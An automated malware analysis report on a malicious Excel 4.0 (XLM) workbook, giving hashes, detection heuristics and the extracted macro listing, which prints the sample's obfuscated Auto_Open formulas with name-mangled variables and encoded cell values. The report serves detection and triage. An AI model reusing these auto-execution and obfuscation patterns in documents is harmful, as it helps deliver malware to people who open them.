Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 57b5600b060d54a9…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:37:57 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 402d5f7dd91d61995a23c12556d79622 SHA-1: 4f1d00d96887ac5d029cff734f61a4d70dde444e SHA-256: 57b5600b060d54a9a837582e94d45b6b66623186e8a24b4243e6dc4af4820953
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6858 bytes
SHA-256: 3e6cc5a3960a76cee1922969bba13a342d731745cb84d5945589a20feb767373
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'zPtdTFlLScDh') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KBGIBgMfL
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F156 
' 0018     24 LABEL : Cell Value, String Constant - bAjWEYaeL len=0 
' 0018     24 LABEL : Cell Value, String Constant - GiAraJLpb len=0 
' 0018     22 LABEL : Cell Value, String Constant - hqsSBTg len=0 
' 0018     21 LABEL : Cell Value, String Constant - hRKYXR len=0 
' 0018     20 LABEL : Cell Value, String Constant - hVnMM len=0 
' 0018     22 LABEL : Cell Value, String Constant - jIymyrS len=0 
' 0018     25 LABEL : Cell Value, String Constant - lhbqGPTizF len=0 
' 0018     20 LABEL : Cell Value, String Constant - ODTNq len=0 
' 0018     27 LABEL : Cell Value, String Constant - OJuUHYLHSPtC len=0 
' 0018     26 LABEL : Cell Value, String Constant - OZXaZdXqVjQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - pLIjAAmYSnB len=0 
' 0018     22 LABEL : Cell Value, String Constant - qcjsEPM len=0 
' 0018     27 LABEL : Cell Value, String Constant - rAuhRHDWPjYq len=0 
' 0018     25 LABEL : Cell Value, String Constant - RsFnaOZoAu len=0 
' 0018     26 LABEL : Cell Value, String Constant - RtBrotdTAte len=0 
' 0018     25 LABEL : Cell Value, String Constant - RXjQCIhkuj len=0 
' 0018     24 LABEL : Cell Value, String Constant - xCpYFHzOl len=0 
' 0018     27 LABEL : Cell Value, String Constant - XLAKJLbzxlED len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZfmlSTjOpClt len=0 
' 0018     27 LABEL : Cell Value, String Constant - zPtdTFlLScDh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KBGIBgMfL,F67,"SET.NAME("RXjQCIhkuj",0+VALUE("0"))",""
'  KBGIBgMfL,F69,"SET.NAME("OJuUHYLHSPtC",RXjQCIhkuj)",""
'  KBGIBgMfL,F72,"SET.NAME("bAjWEYaeL",RXjQCIhkuj)",""
'  KBGIBgMfL,F74,"SET.NAME("XLAKJLbzxlED",COUNTA(rAuhRHDWPjYq))",""
'  KBGIBgMfL,F77,"SET.NAME("hqsSBTg",COUNTA(lhbqGPTizF))",""
'  KBGIBgMfL,F79,[],""
'  KBGIBgMfL,F82,"SET.NAME("RtBrotdTAte","")",""
'  KBGIBgMfL,T82,"",-695.00000000000000000000
'  KBGIBgMfL,T83,"",-218.00000000000000000000
'  KBGIBgMfL,F84,"OJuUHYLHSPtC",""
'  KBGIBgMfL,T84,"",234.00000000000000000000
'  KBGIBgMfL,T85,"",927.00000000000000000000
'  KBGIBgMfL,T86,"",-608.00000000000000000000
'  KBGIBgMfL,T87,"",149.00000000000000000000
'  KBGIBgMfL,F89,"SET.NAME("ODTNq",HLOOKUP("*",rAuhRHDWPjYq,OJuUHYLHSPtC,FALSE))",""
'  KBGIBgMfL,F92,"jIymyrS",""
'  KBGIBgMfL,F97,"SET.NAME("zPtdTFlLScDh",RXjQCIhkuj)",""
'  KBGIBgMfL,F102,[],""
'  KBGIBgMfL,F104,"zPtdTFlLScDh",""
'  KBGIBgMfL,F108,"pLIjAAmYSnB",""
'  KBGIBgMfL,F111,"qcjsEPM",""
'  KBGIBgMfL,F116,"ZfmlSTjOpClt",""
'  KBGIBgMfL,F119,"SET.NAME("GiAraJLpb",VALUE(HLOOKUP("*",lhbqGPTizF,ZfmlSTjOpClt,FALSE)))",""
'  KBGIBgMfL,F122,"xCpYFHzOl",""
'  KBGIBgMfL,F126,"RtBrotdTAte",""
'  KBGIBgMfL,F130,"bAjWEYaeL",""
'  KBGIBgMfL,F135,NEXT(),""
'  KBGIBgMfL,F138,"hRKYXR",""
'  KBGIBgMfL,F143,[],""
'  KBGIBgMfL,F148,"OZXaZdXqVjQ",""
'  KBGIBgMfL,F152,NEXT(),""
'  KBGIBgMfL,F154,RETURN(),""
'  KBGIBgMfL,F187,"SET.NAME("RsFnaOZoAu",F67)",""
'  KBGIBgMfL,F190,"rAuhRHDWPjYq",""
'  KBGIBgMfL,F192,"SET.NAME("lhbqGPTizF",R61C13)",""
'  KBGIBgMfL,F197,"SET.NAME("OZXaZdXqVjQ",208)",""
'  KBGIBgMfL,F202,"SET.NAME("hVnMM",6)",""
'  KBGIBgMfL,F207,RsFnaOZoAu(),""
'  KBGIBgMfL,F208,HALT(),""

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